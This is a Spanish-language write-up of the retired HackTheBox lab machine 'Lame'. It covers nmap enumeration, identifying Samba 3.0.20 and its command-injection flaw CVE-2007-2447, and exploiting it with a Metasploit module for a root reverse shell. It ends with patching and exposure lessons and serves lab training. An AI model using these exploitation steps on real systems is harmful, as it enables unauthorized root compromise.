Lame es una de las máquinas más antiguas y sencillas de HackTheBox, ideal como primera toma de contacto con la metodología de un pentest: enumerar servicios, identificar una versión vulnerable y explotarla con un exploit público. En este caso conseguiremos acceso directo como root aprovechando un fallo conocido de Samba.
Objetivo: reconocer los servicios expuestos, localizar la vulnerabilidad (CVE-2007-2447) y obtener una shell con privilegios de superusuario para leer las flags deuseryroot.
1. Reconocimiento
Lo primero es identificar qué puertos y servicios están abiertos en la máquina víctima. Lanzo un escaneo completo con nmap, detectando versiones (-sV) y ejecutando los scripts básicos (-sC).
nmap -sC -sV -p- --min-rate 5000 -T4 -oN nmap_lame.txt 10.10.10.3
Desglose rápido de los parámetros que uso:
-p-→ escanea los 65535 puertos.-sC -sV→ scripts por defecto + detección de versión.--min-rate 5000→ acelera el escaneo (válido en laboratorios controlados como HTB).-oN→ guarda la salida en un fichero para no perder la información.
Entre los servicios expuestos destacan el 21 (FTP), el 22 (SSH) y, sobre todo, los puertos 139 y 445 correspondientes a Samba (SMB), que es donde centraremos el ataque.
2. Análisis de la versión de Samba
El escaneo revela que el servicio SMB corre sobre Samba smbd 3.0.20-Debian. Las versiones antiguas de Samba arrastran vulnerabilidades muy conocidas, así que compruebo si existe algún exploit público asociado con searchsploit.
searchsploit samba 3.0.20
El resultado apunta directamente al fallo que buscábamos:
Samba 3.0.20 < 3.0.25rc3 - 'Username map script'
Command Execution (Metasploit) | CVE-2007-2447
¿En qué consiste CVE-2007-2447?
Es una vulnerabilidad de inyección de comandos. Cuando Samba tiene configurada la opción username map script, el nombre de usuario que se envía durante la autenticación se pasa sin sanear a una llamada del sistema. Esto permite que un atacante introduzca metacaracteres de shell en el campo del usuario y consiga ejecución remota de comandos, además como el usuario que ejecuta el servicio: root.
3. Explotación con Metasploit
La forma más rápida de aprovechar este fallo es con el módulo que ya trae Metasploit. Arranco la consola y selecciono el exploit:
msfconsole -q
use exploit/multi/samba/usermap_script
set RHOSTS 10.10.10.3
set LHOST tun0
run
Nota: usotun0comoLHOSTporque es la interfaz de la VPN de HackTheBox; así el payload sabe a qué IP devolver la conexión. Comprueba la tuya conip a.
Al lanzarlo, el módulo abre una sesión de shell. Como el demonio de Samba se ejecuta con privilegios de superusuario, la shell que obtenemos ya es de root directamente, sin necesidad de escalar privilegios.
Confirmo el acceso y el usuario actual:
id
# uid=0(root) gid=0(root)
whoami
# root
hostname
# lame
4. Lectura de las flags
Con la shell de root ya puedo leer ambas flags del sistema:
cat /home/makis/user.txt
cat /root/root.txt
Conclusión
Lame demuestra lo crítico que es mantener el software actualizado: un servicio Samba sin parchear desde 2007 permite a un atacante saltar directamente a root con un único exploit público, sin apenas esfuerzo. La lección defensiva es clara — gestión de parches, reducción de superficie de exposición (¿realmente necesitas SMB accesible?) y monitorización de servicios obsoletos.
Writeup con fines educativos sobre una máquina retirada de HackTheBox.